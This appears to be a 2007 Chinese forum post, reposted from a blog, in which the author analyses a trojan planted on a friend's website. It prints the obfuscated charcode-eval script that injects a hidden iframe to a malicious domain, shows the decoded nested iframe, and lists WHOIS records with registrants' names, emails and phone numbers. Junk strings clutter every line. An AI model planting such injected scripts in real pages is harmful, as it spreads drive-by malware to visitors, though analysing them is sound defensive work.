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[原创]一篇刚写的分析木马手记

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首发在我的博客里面, fB+L%+mr8  
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http://www.areway.cn/?p=175 i0vm00oT  
ag-A}k>v  
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周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: o NtFYY  
          eqbN_$>  
<script>t=’60,105,102,114,97,109,101, #9vC]Gm  
32,115,114,99,61,104,116,116,112,58,47,47, Shm> r@C?  
102,114,101,101,46,117,45,117,117,117,46,99, / ^.|m3  
110,47,101,114,114,111,114,46,104,116,109, (WM3(US|  
32,119,105,100,116,104,61,49,48,48,32,104, aurs~  
101,105,103,104,116,61,48,62,60,47,105,102, vg z`+Zj*S  
114,97,109,101,62′; "y1Iu   
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> |=?#Xbxz  
                                                                                                  NAbVH{*\U  
<script>t=’60,105,102,114,97,109,101,32,115, dbI>\khI  
114,99,61,104,116,116,112,58,47,47,102,114, .tngN<f  
101,101,46,117,45,117,117,117,46,99,110,47, ~zVxprEf_  
101,114,114,111,114,46,104,116,109,32,119, mk-{@$QJb  
105,100,116,104,61,49,48,48,32,104,101,105, XzUGlrp:Y#  
103,104,116,61,48,62,60,47,105,102,114,97, (]|h6aI'}  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); x9_mlZ  
document.write(t);</script> Ei;tfB  
                                                                                                  C|'DKT4M&  
<html xmlns=” "yWw3(V2>  
http://www.w3.org/1999/xhtml PRKZg]?  
“> @<.@ X*#I  
<head> ?,} u6tH  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> TT$A o  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> ys[Li.s:  
<title>首页 - 爱生活家庭网 :^;c(>u{  
                                                                                                                                                    oMh$:jR$  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 odRiCiMH  
转换字符串后的大概内容是(谁点击后果自付): 6Rc=!_v^  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… Knq 9 "k  
                                                                                                                                  K1& QAXyP  
查询玉米u-uuu.cn的详细信息: / f%mYL  
Domain Name: u-uuu.cn yI0bSu<j-  
ROID: 20070901s10001s64972306-cn K/Q"Z*  
Domain Status: ok _( W@FS  
Registrant Organization: 王雷 Dg&84,bv^  
Registrant Name: 王雷 jL VJ+mu  
Administrative Email: czlovexs@126.com P3M$&::D-  
Sponsoring Registrar: 北京万网志成科技有限公司 6{Wo5O{!\  
Name Server:ns.yovole.com 04a ^jjc  
Name Server:ns1.yovole.com aSL`yuXu  
Registration Date: 2007-09-01 17:54 JF~i.+{ h  
Expiration Date: 2008-09-01 17:54 u-_r2U  
最后PING了一下地址 都没有什么…. Gp"GTPT{  
                                                                                                ?J}Q&p.  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. $( hT{C,K  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> )>volP  
<script language=”javascript” src=” lj4Fg*/Yn  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script Zt=|q$"  
> 5]xuU.w'  
这个玉米应该有可能是木马作者的: )uPJ? 2S9  
foafau.info的详细信息: d,<ni"  
Access to INFO WHOIS information is provided to assist persons in NBikYxa  
determining the contents of a domain name registration record in the RNg?o [S  
Afilias registry database. The data in this record is provided by 96=<phcwN[  
Afilias Limited for informational purposes only, and Afilias does not gI+8J.AG=  
guarantee its accuracy.  This service is intended only for query-based TP }a9-9?  
access. You agree that you will use this data only for lawful purposes fi+}hGj(r  
and that, under no circumstances will you use this data to: (a) allow, Nw;qJ58@  
enable, or otherwise support the transmission by e-mail, telephone, or 0|3I^b  
facsimile of mass unsolicited, commercial advertising or solicitations 8tY>%A~^z  
to entities other than the data recipient’s own existing customers; or 7& M-^Ev  
(b) enable high volume, automated, electronic processes that send SI(f&T(  
queries or data to the systems of Registry Operator, a Registrar, or | ,8z" g  
Afilias except as reasonably necessary to register domain names or -<iP$,bq72  
modify existing registrations. All rights reserved. Afilias reserves @[GV0*yz$  
the right to modify these terms at any time. By submitting this query, e#Tv5O  
you agree to abide by this policy. +pofN-*%  
Domain ID:D22418703-LRMS m]p{]6h  
Domain Name:FOAFAU.INFO Q*ITs!~Z  
Created On:20-Nov-2007 16:05:42 UTC ;>6< u.N  
Last Updated On:20-Nov-2007 16:05:44 UTC wxN)d B  
Expiration Date:20-Nov-2008 16:05:42 UTC GES}o9?#  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)  rxY|&!f  
Status:CLIENT DELETE PROHIBITED }@DCcf$<  
Status:CLIENT RENEW PROHIBITED ) SV.|  
Status:CLIENT TRANSFER PROHIBITED MKK ^-T  
Status:CLIENT UPDATE PROHIBITED g \mE  
Status:TRANSFER PROHIBITED kA :Y^2X'  
Registrant ID:GODA-040110615 !_W:%t)g  
Registrant Name:liu hong O zAIz+`  
Registrant Organization: 4kOO3[r  
Registrant Street1:beijing )G[byBa  
Registrant Street2: BK$y>= `  
Registrant Street3: 'Zx5+rM${}  
Registrant City:beijing V<ESj K8  
Registrant State/Province: XLh)$rZ  
Registrant Postal Code:100000 &kb`)F3nU  
Registrant Country:CN N?GTfN  
Registrant Phone:+86.860108888777 rd <m:r  
Registrant Phone Ext.: w5FIHYl6B  
Registrant FAX: 2TK \pfD  
Registrant FAX Ext.: %? ~'A59  
Registrant Email:bbbshiji@163.com iP:i6U]  
Admin ID:GODA-240110615 |vI*S5kn6A  
Admin Name:liu hong KE?t?p  
Admin Organization: ,'L>:pF3  
Admin Street1:beijing $8EEtr,!  
Admin Street2: @"w4R6l+*  
Admin Street3: -I< >Ab  
Admin City:beijing Vk5Z[w a  
Admin State/Province: C@M-_Ud>Q  
Admin Postal Code:100000 X>(1fra4  
Admin Country:CN ,67Q!/O  
Admin Phone:+86.860108888777 MK< y$B{}  
Admin Phone Ext.: ('J/Ww<  
Admin FAX: /:|vJ|dJ  
Admin FAX Ext.: }F08o,`?  
Admin Email:bbbshiji@163.com 4pmeu:26  
Billing ID:GODA-340110615 dSI"yz  
Billing Name:liu hong yD[d%w  
Billing Organization: Cq5.gkS<  
Billing Street1:beijing Mf5j'n  
Billing Street2: kHM Jh~  
Billing Street3: g[xoS\d  
Billing City:beijing 0uy'Py@2<  
Billing State/Province: # :+Nr  
Billing Postal Code:100000 4jT6h9%  
Billing Country:CN /2^L;#  
Billing Phone:+86.860108888777 _~FfG!H ^X  
Billing Phone Ext.: aq,1'~8XR  
Billing FAX: xC76jE4  
Billing FAX Ext.: '|yxB')  
Billing Email:bbbshiji@163.com (P>nA3:UXB  
Tech ID:GODA-140110615 <JPN< Kv  
Tech Name:liu hong cXweg;  
Tech Organization: ,05PYBc3  
Tech Street1:beijing "1o{mvCkR  
Tech Street2: 7lC$UQx8  
Tech Street3: <,vIN,Kl8/  
Tech City:beijing f-U zFlU  
Tech State/Province: kBUkE-~  
Tech Postal Code:100000 X'A`" }=_  
Tech Country:CN lg^'/8^f  
Tech Phone:+86.860108888777 uHbg&eW  
Tech Phone Ext.: v>X!/if<y  
Tech FAX: EEe$A?a;  
Tech FAX Ext.: ]3r}>/2(  
Tech Email:bbbshiji@163.com Upz)iOqLi  
Name Server:NS27.DOMAINCONTROL.COM _kKG%U.gbK  
Name Server:NS28.DOMAINCONTROL.COM Y;w|Fvjj+  
Name Server: KQ~y;{h?b  
Name Server: oZ{,IZ45  
Name Server: ss^a=?~  
Name Server: RhYe=Qh4{p  
Name Server: k@xinK%O{  
Name Server: EKc<|e,F  
Name Server: _|~Dj)z  
Name Server: =<\22d5L  
Name Server: R~<N*En~  
Name Server: }i9:k kfq2  
Name Server: HwU9 y   
                                                                                                          E|pT6  
接着下载每个文件里面的代码: S2X@t>u-  
一步一步看.. 1$cl "d`~  
-"-.Z&#  
,fjY|ip  
Qt u;_  
rrIyZ@_d9  
A}fm).Wp@  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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简单生活
执著追求
别笑我浅溥,天真的以为用一腔真诚就能感动这个冷漠的世界。
也别说我幼稚,竟想用不长的人生去诠释繁杂的红尘。
然而除了真诚,我还能给你什么,的确我真的一无所有!

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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
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